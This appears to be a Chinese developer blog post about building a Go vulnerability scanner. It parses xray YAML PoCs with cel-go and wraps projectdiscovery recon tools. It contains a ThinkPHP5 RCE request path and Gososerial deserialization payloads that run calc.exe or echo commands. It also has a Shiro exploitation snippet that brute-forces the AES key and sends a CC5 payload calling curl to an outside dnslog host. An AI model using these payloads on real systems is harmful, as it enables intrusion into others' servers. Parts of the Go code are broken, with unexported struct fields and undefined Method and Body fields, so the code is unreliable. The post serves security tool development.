go语言开发笔记2

举报
亿人安全 发表于 2023/05/31 16:51:53 2023/05/31
【摘要】 解析xray ymlxray是使用cel-go来做执行引擎的,所以需要cel-go的语法基础https://github.com/google/cel-go/blob/master/examples/README.mdhttps://codelabs.developers.google.com/codelabs/cel-go#0通过基于CEL表达式定义poc规则下面对xray的yml文件进行...

解析xray yml

xray是使用cel-go来做执行引擎的,所以需要cel-go的语法基础

https://github.com/google/cel-go/blob/master/examples/README.md

https://codelabs.developers.google.com/codelabs/cel-go#0

通过基于CEL表达式定义poc规则


下面对xray的yml文件进行简单的解析执行

反序列化yml文件

执行yml文件的第一步是把yml反序列化到golang的结构体中

这样方便用yml内容在go中进行操作

xray yml格式

名称

名称: 脚本名称, string 类型

脚本部分

  1. thinkphp5.yml
  • 传输方式(transport)
  1. tcp
  2. udp
  3. http
  • 全局变量定义(set)

该字段用于定义全局变量。比如随机数,反连平台等。 set: map[string]interface{}

  • 规则描述(rules)

该字段定义了一些具名的 rule。 rules: map[string]Rule

  • 规则表达式(expression)

该字段定义了这条 rule 最终执行的一个结果. expression: string


信息部分

name: poc-yaml-thinkphp5-controller-rce
# 脚本部分
manual: true
set:
  rand: randomInt(200000000, 210000000)
transport: http
rules:
  r0:
    request:
      cache: true
      method: GET
      path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
    expression: response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
expression: r0()

# 信息部分
detail:
  links:
    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
  1. 解析.go
package main

import (
	"gopkg.in/yaml.v2"
	"io/ioutil"
)
//首先我们定义一个和yml格式相关联的结构体
type Poc struct {
	Name       string            `yaml:"name"`
	Transport  string            `yaml:"transport"`
	Set        map[string]string `yaml:"set"`
	Rules      map[string]Rule            `yaml:"rules"`
	Expression string            `yaml:"expression"`
	Detail     Detail            `yaml:"detail"`
}

type Rule struct {
	Request    RuleRequest `yaml:"request"`
	Expression string      `yaml:"expression"`
}

type RuleRequest struct {
	Cache  bool   `yaml:"cache"`
	method string `yaml:"method"`
	path   string `yaml:"path"`
	Expression string      `yaml:"expression"`
}

type Detail struct {
    Author      string   `yaml:"author"`
	Links       []string `yaml:"links"`
	Description string   `yaml:"description"`
	Version     string   `yaml:"version"`
}

func main() {
	poc := Poc{}
	pocFile, _ := ioutil.ReadFile("thinkphp.yml")
    //解析yaml
	err := yaml.Unmarshal(pocFile,&poc)
	if err != nil{
		println(err.Error())
	}
	println(pocFile)
}


处理yml中的函数


我们在上方看到key的value是randomInt(200000000, 210000000)

显然这是不能使用的

所以我们需要cel-go执行语句,并获取out

定义如下函数


func execSetExpression(Expression string) (interface{}, error) {
	//定义set 内部函数接口
	setFuncsInterface := cel.Declarations(
		decls.NewFunction("randomInt",
			decls.NewOverload("randomInt_int_int",
				[]*exprpb.Type{decls.Int, decls.Int},
				decls.String)),
		decls.NewFunction("randomLowercase",
			decls.NewOverload("randomLowercase_string",
				[]*exprpb.Type{decls.Int},
				decls.String)),
	)

	//实现set 内部函数接口
	setFuncsImpl := cel.Functions(
		&functions.Overload{
			Operator: "randomInt_int_int",
			Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
				randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
				min := int(lhs.Value().(int64))
				max := int(rhs.Value().(int64))
				return types.String(strconv.Itoa(min + randSource.Intn(max-min)))
			}},
		&functions.Overload{
			Operator: "randomLowercase_string",
			Unary: func(lhs ref.Val) ref.Val {
				n := lhs.Value().(int64)
				letterBytes := "abcdefghijklmnopqrstuvwxyz"
				randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
				const (
					letterIdxBits = 6                    // 6 bits to represent a letter index
					letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
					letterIdxMax  = 63 / letterIdxBits   // # of letter indices fitting in 63 bits
				)
				randBytes := make([]byte, n)
				for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
					if remain == 0 {
						cache, remain = randSource.Int63(), letterIdxMax
					}
					if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
						randBytes[i] = letterBytes[idx]
						i--
					}
					cache >>= letterIdxBits
					remain--
				}
				return types.String(randBytes)
			}},
	)

	//创建set 执行环境
	env, err := cel.NewEnv(setFuncsInterface)
	if err != nil {
		log.Fatalf("environment creation error: %v\n", err)
	}
	ast, iss := env.Compile(Expression)
	if iss.Err() != nil {
		log.Fatalln(iss.Err())
		return nil, iss.Err()
	}
	prg, err := env.Program(ast, setFuncsImpl)
	if err != nil {
		return nil, errors.New(fmt.Sprintf("Program creation error: %v\n", err))
	}
	out, _, err := prg.Eval(map[string]interface{}{})
	if err != nil {
		log.Fatalf("Evaluation error: %v\n", err)
		return nil, errors.New(fmt.Sprintf("Evaluation error: %v\n", err))
	}
	return out, nil
}



我们成功解析出来了这个随机数

当然这里是以randomInt进行举例,其实还有更多的解析语句

这里并不展开讲解

处理request和response格式


部分request中会{{rand}}这种格式

这是为了使用randomLowercase(4)所生成的值

处理这种形式,我们需要定义一下渲染函数

// 渲染函数 渲染变量到request中
func render(v string, setMap map[string]interface{}) string {
    for k1, v1 := range setMap {
        _, isMap := v1.(map[string]string)
        if isMap {
            continue
        }
        v1Value := fmt.Sprintf("%v", v1)
        t := "{{" + k1 + "}}"
        if !strings.Contains(v, t) {
            continue
        }
        v = strings.ReplaceAll(v, t, v1Value)
    }
    return v
}

再看expression字段中

这是一个response结构体,抽象成golang代码大概如下

type Response struct {
    Body []byte
}

但是在cel中是不能直接使用golang的struct的,需要用proto来做一个转换

protoc是一款用C++编写的工具,其可以将proto文件翻译为指定语言的代码

https://github.com/protocolbuffers/protobuf/releases

go get -u github.com/golang/protobuf/protoc-gen-go@v1.3.2


定义如下proto文件

syntax = "proto3";
option go_package = "./;structs";
package structs;

message Response {
  //数据类型 字段名称 字段id
  bytes body = 1;
}

通过protoc -I . --go_out=. requests.proto生成go文件

然后我们便可定义如下函数来执行单条rule的表达式,其返回值为bool,用来判断单条rule是否成立

func execRuleExpression(Expression string, variableMap map[string]interface{}) bool {
	env, _ := cel.NewEnv(
		cel.Container("structs"),
		cel.Types(&structs.Response{}),
		cel.Declarations(
			decls.NewVar("response", decls.NewObjectType("structs.Response")),
			decls.NewFunction("bcontains",
				decls.NewInstanceOverload("bytes_bcontains_bytes",
					[]*exprpb.Type{decls.Bytes, decls.Bytes},
					decls.Bool)),
		),
	)
	funcImpl := []cel.ProgramOption{
		cel.Functions(
			&functions.Overload{
				Operator: "bytes_bcontains_bytes",
				Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
					v1, ok := lhs.(types.Bytes)
					if !ok {
						return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
					}
					v2, ok := rhs.(types.Bytes)
					if !ok {
						return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
					}
					return types.Bool(bytes.Contains(v1, v2))
				},
			},
		)}
	ast, iss := env.Compile(Expression)
	if iss.Err() != nil {
		log.Fatalln(iss.Err())
	}
	prg, err := env.Program(ast, funcImpl...)
	if err != nil {
		log.Fatalf("Program creation error: %v\n", err)
	}
	out, _, err := prg.Eval(variableMap)
	if err != nil {
		log.Fatalf("Evaluation error: %v\n", err)
	}
	return out.Value().(bool)
}

然后根据request流程,可以抽象为如下匿名函数,方便最后执行poc中的Expression

var RequestsInvoke = func(target string, setMap map[string]interface{}, rule Rule) bool {
	var req *http.Request
	var err error
	if rule.Request.Body == "" {
		req, err = http.NewRequest(rule.Request.Method, target+render(rule.Request.Path, setMap), nil)
	} else {
		req, err = http.NewRequest(rule.Request.Method, target+render(rule.Request.Path, setMap), bytes.NewBufferString(render(rule.Request.Body, setMap)))
	}
	if err != nil {
		log.Println(fmt.Sprintf("http request error: %s", err.Error()))
		return false
	}
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		println(err.Error())
		return false
	}
	response := &structs.Response{}
	response.Body, _ = ioutil.ReadAll(resp.Body)
	return execRuleExpression(rule.Expression, map[string]interface{}{"response": response})
}


执行poc Expression


将前面生成的request匿名函数,按照rules中的key定义成函数。注入到cel执行环境中,即可实现短路的逻辑,避免无效请求

func execPocExpression(target string, setMap map[string]interface{}, Expression string, rules map[string]Rule) bool {
	var funcsInterface []*exprpb.Decl
	var funcsImpl []*functions.Overload
	for key, rule := range rules {
		funcName := key
		funcRule := rule
		funcsInterface = append(funcsInterface, decls.NewFunction(key, decls.NewOverload(key, []*exprpb.Type{}, decls.Bool)))
		funcsImpl = append(funcsImpl,
			&functions.Overload{
				Operator: funcName,
				Function: func(values ...ref.Val) ref.Val {
					return types.Bool(RequestsInvoke(target, setMap, funcRule))
				},
			})
	}
	env, err := cel.NewEnv(cel.Declarations(funcsInterface...))
	if err != nil {
		log.Fatalf("environment creation error: %v\n", err)
	}
	ast, iss := env.Compile(Expression)
	if iss.Err() != nil {
		log.Fatalln(iss.Err())
	}
	prg, err := env.Program(ast, cel.Functions(funcsImpl...))
	if err != nil {
		log.Fatalln(fmt.Sprintf("Program creation error: %v\n", err))
	}
	out, _, err := prg.Eval(map[string]interface{}{})
	return out.Value().(bool)
}





踩坑

有段时间没有go了

一些坑点又忘了

gomod引用第三方库的时候,解析要启动Go模块集成,否则解析不到


引用自己目录下的go文件,要根据gomod的名称




利用projectdiscovery团队等开发的工具作为第三方包引入

可以迅速简单的构建自己的强大而又高效工具


当然以下方式确实可以给你快速源码上构建一个强大的工具,但不代表自己开发能力很好了,只能说是一个"加强版的脚本小子"了


但说实话,我不感觉自己写的比projectdiscovery团队写的好,hahahaha


子域名收集

subfinder

package main

import (
	"bytes"
	"context"
	"fmt"
	"io"
	"log"

	"github.com/projectdiscovery/subfinder/v2/pkg/passive"
	"github.com/projectdiscovery/subfinder/v2/pkg/resolve"
	"github.com/projectdiscovery/subfinder/v2/pkg/runner"
)

func main() {
	runnerInstance, err := runner.NewRunner(&runner.Options{
		Threads:            10, // Thread controls the number of threads to use for active enumerations
		Timeout:            30, // Timeout is the seconds to wait for sources to respond
		MaxEnumerationTime: 10, // MaxEnumerationTime is the maximum amount of time in mins to wait for enumeration
		Resolvers:          resolve.DefaultResolvers, // Use the default list of resolvers by marshaling it to the config
		Sources:            passive.DefaultSources, // Use the default list of passive sources
		AllSources:         passive.DefaultAllSources, // Use the default list of all passive sources
		Recursive:          passive.DefaultRecursiveSources,	// Use the default list of recursive sources
		Providers:          &runner.Providers{}, // Use empty api keys for all providers
  })

	buf := bytes.Buffer{}
	err = runnerInstance.EnumerateSingleDomain(context.Background(), "projectdiscovery.io", []io.Writer{&buf})
	if err != nil {
		log.Fatal(err)
	}

	data, err := io.ReadAll(&buf)
	if err != nil {
		log.Fatal(err)
	}

	fmt.Printf("%s", data)
}

ksubdomain

package main

import (
	"context"
	"github.com/boy-hack/ksubdomain/core/gologger"
	"github.com/boy-hack/ksubdomain/core/options"
	"github.com/boy-hack/ksubdomain/runner"
	"github.com/boy-hack/ksubdomain/runner/outputter"
	"github.com/boy-hack/ksubdomain/runner/outputter/output"
	"github.com/boy-hack/ksubdomain/runner/processbar"
	"strings"
)

func main() {
	process := processbar.ScreenProcess{}
	screenPrinter, _ := output.NewScreenOutput(false)

	domains := []string{"www.baidu.com", "x.baidu.com"}
	opt := &options.Options{
		Rate:        options.Band2Rate("1m"),
		Domain:      strings.NewReader(strings.Join(domains, "\n")),
		DomainTotal: 2,
		Resolvers:   options.GetResolvers(""),
		Silent:      false,
		TimeOut:     10,
		Retry:       3,
		Method:      runner.VerifyType,
		DnsType:     "a",
		Writer: []outputter.Output{
			screenPrinter,
		},
		ProcessBar: &process,
		EtherInfo:  options.GetDeviceConfig(),
	}
	opt.Check()
	r, err := runner.New(opt)
	if err != nil {
		gologger.Fatalf(err.Error())
	}
	ctx := context.Background()
	r.RunEnumeration(ctx)
	r.Close()
}


/*
type Options struct {
	Rate        int64              // 每秒发包速率
	Domain      io.Reader          // 域名输入
	DomainTotal int                // 扫描域名总数
	Resolvers   []string           // dns resolvers
	Silent      bool               // 安静模式
	TimeOut     int                // 超时时间 单位(秒)
	Retry       int                // 最大重试次数
	Method      string             // verify模式 enum模式 test模式
	DnsType     string             // dns类型 a ns aaaa
	Writer      []outputter.Output // 输出结构
	ProcessBar  processbar.ProcessBar
	EtherInfo   *device.EtherTable // 网卡信息
}


ksubdomain底层接口只是一个dns验证器,如果要通过一级域名枚举,需要把全部的域名都放入Domain字段中,可以看enum参数是怎么写的 cmd/ksubdomain/enum.go
Write参数是一个outputter.Output接口,用途是如何处理DNS返回的接口,ksubdomain已经内置了三种接口在 runner/outputter/output中,主要作用是把数据存入内存、数据写入文件、数据打印到屏幕,可以自己实现这个接口,实现自定义的操作。
ProcessBar参数是一个processbar.ProcessBar接口,主要用途是将程序内成功个数、发送个数、队列数、接收数、失败数、耗时传递给用户,实现这个参数可以时时获取这些。
EtherInfo是*device.EtherTable类型,用来获取网卡的信息,一般用函数options.GetDeviceConfig()即可自动获取网卡配置
*/

端口扫描

github.com/projectdiscovery/naabu/v2/pkg/runner
github.com/projectdiscovery/gologger



func runTcpScan(targetip string) {
	var options runner.Options
	options.Silent = true
	options.Verbose = false  // mudar
	options.Debug = false // mudar
	options.Ping = false
	options.EnableProgressBar = false
	options.ScanType = "s"
	options.ExcludeCDN = true
	options.Rate = 400
	options.Timeout = 8
	options.Retries = 3
	options.WarmUpTime = 5
	options.Host = targetip
	options.Interface = "enp1s0"
	options.InterfacesList = false
	options.TopPorts = "100"
	options.Threads = 6
	options.Nmap = false
	options.Output = "/tmp/naabu-output.txt"
	//options.NmapCLI = "nmap -sV -oX /tmp/nmap-results.xml --script=http-title,http-server-header,http-open-proxy,http-methods,http-headers,ssl-cert"

	naabuRunner, err := runner.NewRunner(&options)
	if err != nil {
		gologger.Fatal().Msgf("Could not create runner: %s\n", err)
	}
	err = naabuRunner.RunEnumeration()
	if err != nil {
		gologger.Fatal().Msgf("Could not run enumeration: %s\n", err)
	}
}


验证存活

httpx := tool.Httpx{}
httpxConfig := make(map[string]interface{})
httpxConfig["input"] = "/domains.txt"
httpxConfig["output"] = "xxxxx"
httpx.Info("")
httpx.Configure(httpxConfig)
httpx.Run("")
package tool

import (
	"encoding/json"
	"fmt"
	"io/ioutil"
	"regexp"

	"github.com/fatih/color"

	customport "github.com/projectdiscovery/httpx/common/customports"
	"github.com/projectdiscovery/httpx/runner"
)

type HttpxConfiguration struct {
	Input  string `json:"input"`
	Output string `json:"output"`
}

type Httpx struct {
	configuration  HttpxConfiguration
	runnerInstance *runner.Runner
}

func (h *Httpx) Info(_ string) {
	color.Cyan("Running httpx on subdomains")
}

func (h *Httpx) Configure(config interface{}) {
	b, _ := json.Marshal(config.(map[string]interface{}))
	var httpxconfiguration HttpxConfiguration
	_ = json.Unmarshal(b, &httpxconfiguration)
	h.configuration = httpxconfiguration
	customPorts := customport.CustomPorts{}
	customPorts.Set("25,80,81,135,389,443,1080,3000,3306,8080,8443,8888,9090,8089")

	opts := runner.Options{
		InputFile:         httpxconfiguration.Input,
		CustomPorts:       customPorts,
		ExtractTitle:      true,
		ContentLength:     true,
		OutputContentType: true,
		StatusCode:        true,
		TechDetect:        true,
		VHost:             true,
		OutputWebSocket:   true,
		FollowRedirects:   true,
		Retries:           2,
		Threads:           50,
		Timeout:           8,
	}

	if httpxconfiguration.Output != "" {
		opts.Output = httpxconfiguration.Output
	}

	h.runnerInstance, _ = runner.New(&opts)
}

func (h *Httpx) Run(_ string) {
	h.runnerInstance.RunEnumeration()

	body, _ := ioutil.ReadFile(h.configuration.Output)
	fmt.Println(string(body))
	ioutil.WriteFile(h.configuration.Output, regexp.MustCompile(`( \[.+)`).ReplaceAll(body, []byte{}), 0755)
}


指纹识别

为什么要在httpx下面呢

因为httpx自带这个库的指纹识别系统

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"

	wappalyzer "github.com/projectdiscovery/wappalyzergo"
)

func main() {
	resp, err := http.DefaultClient.Get("https://www.hackerone.com")
	if err != nil {
		log.Fatal(err)
	}
	data, _ := ioutil.ReadAll(resp.Body) // Ignoring error for example

	wappalyzerClient, err := wappalyzer.New()
	fingerprints := wappalyzerClient.Fingerprint(resp.Header, data)
	fmt.Printf("%v\n", fingerprints)

	// Output: map[Acquia Cloud Platform:{} Amazon EC2:{} Apache:{} Cloudflare:{} Drupal:{} PHP:{} Percona:{} React:{} Varnish:{}]
}

但这个库主要是国际指纹

如果想识别shiro这种需要改动(发包的header头)

普通规则直接在这里按规则添加指纹即可


Java反序列化


package main

import (
	"fmt"
	gososerial "github.com/4ra1n/Gososerial"
)

func main() {
	var payload []byte
	payload = gososerial.GetCC1("calc.exe")
	fmt.Println(payload)
}


package main

import (
	gososerial "github.com/4ra1n/Gososerial"
	"..."
)

func main() {
	// Testecho: expr 10 '*' 10 -> Testecho: expr 10 '*' 10
	// Testcmd: expr 10 '*' 10 -> Testcmd: 100
	payload := gososerial.GetCCK2TomcatEcho("Testecho", "Testcmd")

	req.Cookie = AESEncrypt(payload)
	req.Header["Testecho"] = "gososerial"
	req.Method = "POST"
	resp := httputil.sendRequest(req)

	if resp.Header["Testecho"] == "gososerial" {
		log.Info("find cck2 tomcat echo")
	}
}

package main

import (
	gososerial "github.com/4ra1n/Gososerial"
	"..."
)

func main() {
	// Shiro Scan Code
	target := "http://shiro_ip/"
	// Brust Shiro AES Key 
	key := shiro.CheckShiroKey(target)
	if key != nil {
		log.Info("find key: %s", key)
	}
	// Use CommonsCollections5 Payload
	var payload []byte
	payload = gososerial.GetCC5("curl xxxxx.ceye.io")
	// Send Cookies Encrypted By AES
	shiro.SendPayload(key, payload, target)
	// Receive Results Using Dnslog API
	if ceye.CheckResult("your_ceye_token") {
		log.Info("find shiro!")
	}
}


all in all

还有很多这种利用方式

go来说比较好用的第三方包,应该是projectdiscovery的仓库

https://github.com/orgs/projectdiscovery/repositories

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。